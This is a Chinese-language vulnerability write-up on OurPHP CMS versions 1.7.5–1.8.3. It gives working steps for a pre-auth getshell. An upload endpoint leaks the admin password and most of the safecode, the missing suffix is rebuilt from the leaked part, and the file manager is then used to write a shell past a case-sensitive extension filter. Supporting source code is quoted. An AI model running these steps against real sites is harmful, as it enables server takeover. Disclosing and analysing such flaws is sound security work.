影响范围:v1.7.5-v1.8.3

先抛出payload,再进行代码分析

前台getshell

首先,访问http://127.0.0.1/ourphp20180718/function/editor/php/upload_json.php?upload_file=1

获取到:

<!--12345||7Hv9WqglWlPJZPgrFVUvpFnP4DmuTCn1-->

构造出:

口令码:12345

安全校验码:7Hv9WqglWlPJZPgrFVUvpFnP4DmuTCn1glWlPJ(跟上图比多了后面六个字符,具体看后面代码分析)

访问 http://127.0.0.1/ourphp20180718//client/manage/ourphp_filebox.php?op=home&folder=./&validation=12345&code=7Hv9WqglWlPJZPgrFVUvpFnP4DmuTCn1glWlPJ


进行文件编辑,写入代码,修改后缀名,直接getshell

代码分析

跟进 function\editor\php\upload_json.php

继续跟进uploadsafe()函数,在function\editor\php\JSON.php238行

	function uploadsafe()
    {
		global $ourphp;
		return '<!--'.$ourphp['validation'].'||'.substr($ourphp['safecode'], 0, 32).'-->';
	}

由此可知,只要在前端给参数upload_file传任意值,就会返回validation口令码和safecode安全码的前32位

继续跟,看安全码是如何生成的,在function\install\index.php288行

$ourphp_safecode = getRandomString(32);
$safecode6 = substr($ourphp_safecode , 6 , 6);
$str_f = '$';
$str_tmp = "<?php
	/*
	 * Ourphp - CMS建站系统
	 * Copyright (C) 2014 ourphp.net
	 * 开发者:哈尔滨伟成科技有限公司
	 * -------------------------------
	 * 网站配置文件 (2016-10-22)
	 * -------------------------------
	 */

	define('OURPHPNO', true);
	define('WEB_ROOT',substr(dirname(__FILE__), 0, -7));

	include '".$mysql_file."';

	".$str_f."ourphp = array(
		'webpath' => '/',	// 网站路径
		'validation' => '12345',	// 口令码
		'adminpath' => 'client/manage',		// 管理员默认目录
		'mysqlurl' => '".$ourphp_dburl."',	// 数据库链接地址
		'mysqlname' => '".$ourphp_dbname."',	// 数据库登录账号
		'mysqlpass' => '".$ourphp_dbpass."',	// 数据库登录密码
		'mysqldb' => '".$ourphp_mydb."',	// 数据库表名
		'filesize' => '5000000',	// 附件上传最大值
		'safecode' => '".$ourphp_safecode.$safecode6."',	// 安全校验码
		'mysqltype' => '".$mysql_type."',
	);

	".$str_f."db = new OurPHP_Mysql(
		".$str_f."ourphp['mysqlurl'],
		".$str_f."ourphp['mysqlname'],
		".$str_f."ourphp['mysqlpass'],
		".$str_f."ourphp['mysqldb']
	);
?>";


由此可知,安全码是通过随机取一个32位字符,然后取32位的第6位之后的6位字符,拼接到后面形成

由此就能得到后台访问的关键口令码和安全码

再跟后台的文件管理模块,在\client\manage\ourphp_filebox.php45行


由此可知,只要口令码、安全校验码正确就可以对文件进行操作(编辑、重命名)

而且,835行的后缀名过滤,可用大小写绕过了


至此,payload就可以构造好啦

参考:https://xz.aliyun.com/t/4315